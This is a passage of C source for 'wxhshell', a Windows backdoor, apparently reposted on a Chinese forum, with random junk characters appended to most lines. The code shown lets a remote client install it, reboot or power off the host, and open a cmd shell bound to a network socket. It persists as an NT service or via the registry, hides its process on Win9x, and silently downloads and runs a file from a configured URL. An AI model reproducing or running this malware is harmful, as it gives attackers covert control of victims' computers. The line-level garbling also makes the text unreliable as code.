  D'BGoVP  
  // 帮助 ^MG"n7)X  
  case '?': { SDVnyT  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,zxv>8Nt  
    break; \Pe+]4R-Xo  
  } P4+PY 8  
  // 安装 b/ h#{'  
  case 'i': { rj4R/{h  
    if(Install()) {kr14 l*2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M5L/3qLh1  
    else cmU>A721  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K_!:oe7%  
    break; 9}H]4"f7  
    } $ +$l?2  
  // 卸载 p+d O w #  
  case 'r': { F07X9s44E  
    if(Uninstall()) p./0N.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aK 7 }}  
    else !%.=35NS@E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i6g=fx6j*  
    break; v-/vj/4>  
    } $dA]GWW5A  
  // 显示 wxhshell 所在路径 ]b:>7_la  
  case 'p': { 9Hd_sNUu\  
    char svExeFile[MAX_PATH]; :\y' ?d- Q  
    strcpy(svExeFile,"\n\r"); JV_VM{w{K  
      strcat(svExeFile,ExeFile); f[ia0w5 m  
        send(wsh,svExeFile,strlen(svExeFile),0); 4yjIR?  
    break; \k^ojzJ  
    } 8 VhU)fY  
  // 重启 g!9|1z  
  case 'b': { l[rK)PM   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I0!]J{  
    if(Boot(REBOOT)) j0s$}FPUI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o^m?w0 \  
    else { 5G$5d:[(  
    closesocket(wsh); !e*T. 1Kz  
    ExitThread(0); 5HIQw9g6  
    } FYK`.>L28  
    break; W+5. lf=2>  
    } 2U( qyC  
  // 关机 0N$FIw2  
  case 'd': { %$i}[ U  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W+$G{XSr5C  
    if(Boot(SHUTDOWN)) =%c\<<]aV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PC|ul{[*}  
    else { dC|6z/  
    closesocket(wsh); o?6m/Klw6  
    ExitThread(0); `*U$pg  
    } TBRG D l  
    break; %%zlqd"0  
    } beSU[  
  // 获取shell XUD Ztxa  
  case 's': { gga}mqMv=  
    CmdShell(wsh); yxU9W,D v  
    closesocket(wsh); jL'`M%8O  
    ExitThread(0); #<EYO  
    break; }}D32T VN  
  } wm_rU]  
  // 退出 [m%]C  
  case 'x': { y*6/VSRkt4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "?<h,Hvi  
    CloseIt(wsh); c*(^:#"9  
    break; 't5`Ni  
    } m^=El7+  
  // 离开 N/--6)5~0  
  case 'q': { T[#q0bv  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y%spI/(  
    closesocket(wsh); &;=/^~EG  
    WSACleanup(); h72CGA|  
    exit(1); " 0m4&K(3,  
    break; h9#)Eo   
        } z^z`{B  
  } /,UnT(/k(  
  } P.QF9%  
~QDM .5  
  // 提示信息 C+[)^ 2M{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0!7p5  
} ! Dj2/][  
  } V; CPn  
S!+>{JyQ  
  return; y@I t#!u0  
} o]<9wc:FZ  
a^pbBDi W  
// shell模块句柄 Jazgn5  
int CmdShell(SOCKET sock) HD/!J9&  
{ %OHZOs  
STARTUPINFO si; %.?V\l  
ZeroMemory(&si,sizeof(si)); E)ZL+(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /jGV[_Q=P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >#k- ~|w  
PROCESS_INFORMATION ProcessInfo; ^YropzHZ4E  
char cmdline[]="cmd"; &i.sSqSI5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7GWOJ^)  
  return 0; 7CvBE;i  
} TEMxjowr  
I.GoY[u_%  
// 自身启动模式 x5mg<y2`Ng  
int StartFromService(void) nw0#gDI|  
{ /of K7/  
typedef struct 2J8:_Ql3I  
{ u+KZ. n/  
  DWORD ExitStatus; ovBmo2W/  
  DWORD PebBaseAddress; xLDD;Qm,  
  DWORD AffinityMask; g\ vT7x  
  DWORD BasePriority; tiHR&v  
  ULONG UniqueProcessId; q$mc{F($D  
  ULONG InheritedFromUniqueProcessId; ]z/R?SM  
}   PROCESS_BASIC_INFORMATION; "\KBF  
IA({RE  
PROCNTQSIP NtQueryInformationProcess; =I)43ah d  
~~ rR< re  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !hhL",  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~rJG4U  
|E.BGdS  
  HANDLE             hProcess; [nPs  
  PROCESS_BASIC_INFORMATION pbi; /:' >-253  
n2hV}t9O  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9|#cjHf  
  if(NULL == hInst ) return 0; kuV7nsXiQ  
``Q6R2[|)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;'= cNj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c$%*p (zY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -4& i t:  
NX.xE W@  
  if (!NtQueryInformationProcess) return 0; OmO#} k<  
G7Sw\wW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "cPg_-n  
  if(!hProcess) return 0; z+yIP ?s}(  
X["xC3 i  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %.<_+V#h  
W%-XN   
  CloseHandle(hProcess); U/QgO  
|#kY_d)10  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rUj\F9*5#  
if(hProcess==NULL) return 0; Bhd)# P  
JHt U"  
HMODULE hMod; y~@zfJ5/^  
char procName[255]; Kbf(P95+uL  
unsigned long cbNeeded; AXW.`~ 4  
O'mcN*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hEQyaDD;  
D5D *$IC  
  CloseHandle(hProcess); @we1#Vz.  
Mz p<s<BX  
if(strstr(procName,"services")) return 1; // 以服务启动 7MLLx#U  
'#V@a  
  return 0; // 注册表启动 _>R aw  
} h<`aL;.g  
7upko9d/  
// 主模块 ]HuB%G|t1V  
int StartWxhshell(LPSTR lpCmdLine) _9 ]:0bDUo  
{ Y \-W`  
  SOCKET wsl; ~\jP+[>M'  
BOOL val=TRUE; V0>X2&.A  
  int port=0; >8>!wi9U  
  struct sockaddr_in door; ,=P&{38\q  
:_~.Nt  
  if(wscfg.ws_autoins) Install(); QL WnP-  
gHrs|6q9  
port=atoi(lpCmdLine); ^H3N1eC,`F  
c MXv  
if(port<=0) port=wscfg.ws_port; qTr P@F4`g  
Q=`yPK>{$N  
  WSADATA data; =cS&>MT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jtP*C_Scv/  
:ZV |8xI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ERpAV-Zf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Zj2 si  
  door.sin_family = AF_INET; L7-BuW}&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1 :p'  
  door.sin_port = htons(port); ew~Z/ A   
>v.f H6P,}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P1Hab2%+  
closesocket(wsl); wtY)(k a  
return 1; sFTAE1|  
} tQ|c.`)W  
Z8 #nu  
  if(listen(wsl,2) == INVALID_SOCKET) { 7~e,"^>T  
closesocket(wsl); @M5+12FYt  
return 1; Lt't   
} N}?|ik  
  Wxhshell(wsl);  GfE>?mG  
  WSACleanup(); d:(Ex^^  
L,[Q/ $S8  
return 0; ny5 P*yWEh  
[iub}e0  
} S4x9k{Xn  
Q)DEcx-|,  
// 以NT服务方式启动 ca g5w~Px  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pAE (i7  
{ yV(#z2|  
DWORD   status = 0; 79v+ze  
  DWORD   specificError = 0xfffffff; SK}sf9gTv  
tOiz tYu  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .SD-6GVD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .\R9tt}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mWT+15\5r(  
  serviceStatus.dwWin32ExitCode     = 0; o5o myMN  
  serviceStatus.dwServiceSpecificExitCode = 0; bY" zK',m  
  serviceStatus.dwCheckPoint       = 0; $oBs%.Jp  
  serviceStatus.dwWaitHint       = 0; >Ku4Il+36  
:?6HG_9X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~)U50. CH  
  if (hServiceStatusHandle==0) return; &Hb%Q! ^Kb  
"lh4Vg\7n  
status = GetLastError();  J=` 8  
  if (status!=NO_ERROR) |g&V? lI  
{ Lv%3 jj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {N4 'g_  
    serviceStatus.dwCheckPoint       = 0; 4z0gyCAC A  
    serviceStatus.dwWaitHint       = 0; .l1x~(  
    serviceStatus.dwWin32ExitCode     = status; ?+t;\  
    serviceStatus.dwServiceSpecificExitCode = specificError; ys9:";X;}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |]?f6^ |4  
    return; F1#{(uW  
  } q`*.F#/4c  
|[?Otv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ieZ$@3#&z  
  serviceStatus.dwCheckPoint       = 0; u#76w74  
  serviceStatus.dwWaitHint       = 0; B$ eM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ):$KM{X  
} OcT Wq  
YEu+kBlcQ  
// 处理NT服务事件,比如:启动、停止 os/h~,=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) fsL9d}  
{ @+b$43 ^  
switch(fdwControl) f24W*#IX  
{ q/EX`%U  
case SERVICE_CONTROL_STOP: W=+n |1  
  serviceStatus.dwWin32ExitCode = 0; @xWWN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Bb/if:XS  
  serviceStatus.dwCheckPoint   = 0; ?'> .>  
  serviceStatus.dwWaitHint     = 0; [c,V=:Cq  
  { ;'S,JGpvT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Tb i?AJa}  
  } YV.' L  
  return; *yhA8fJ  
case SERVICE_CONTROL_PAUSE: Z@zo~*o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _ $F=A  
  break; w+)${|N?  
case SERVICE_CONTROL_CONTINUE: <:9 ts@B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /e2zH  
  break; \ S;[7T  
case SERVICE_CONTROL_INTERROGATE: }yT/UlU  
  break; OJ&'Z}LB  
}; w;O-ATUzN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jFN0xGZ  
} #]}Ii{1?Y  
L$PbC!1  
// 标准应用程序主函数 `+,?%W)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L`nW&; w'  
{ a=MN:s?Fc0  
 0s;~9>  
// 获取操作系统版本 ]o] VS  
OsIsNt=GetOsVer(); Lz 1.+:Ag  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &|Gg46P7  
o/{`\4  
  // 从命令行安装 r2RJb6  
  if(strpbrk(lpCmdLine,"iI")) Install(); * :L"#20:R  
b}qfOgd5  
  // 下载执行文件 ~J].~^[  
if(wscfg.ws_downexe) { MLd; UHU  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \IL)~5d  
  WinExec(wscfg.ws_filenam,SW_HIDE); |4@cX<d.  
} :!aLa}`@  
;%n'k  
if(!OsIsNt) { IWv(G Qx  
// 如果时win9x,隐藏进程并且设置为注册表启动 g{N}]_%Uh  
HideProc(); "@G[:(BoB<  
StartWxhshell(lpCmdLine); { )qr3-EM#  
} -}6ew@GE  
else IW\^-LI.  
  if(StartFromService()) KU8,8:yY  
  // 以服务方式启动 @aS)=|Ls\  
  StartServiceCtrlDispatcher(DispatchTable); yJ?=##  
else PysDDU}v  
  // 普通方式启动 1 uU$V =  
  StartWxhshell(lpCmdLine); ?Bu*%+  
0nt@}\j  
return 0; DtANb^  
}
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只看该作者 1 发表于: 2006-10-10
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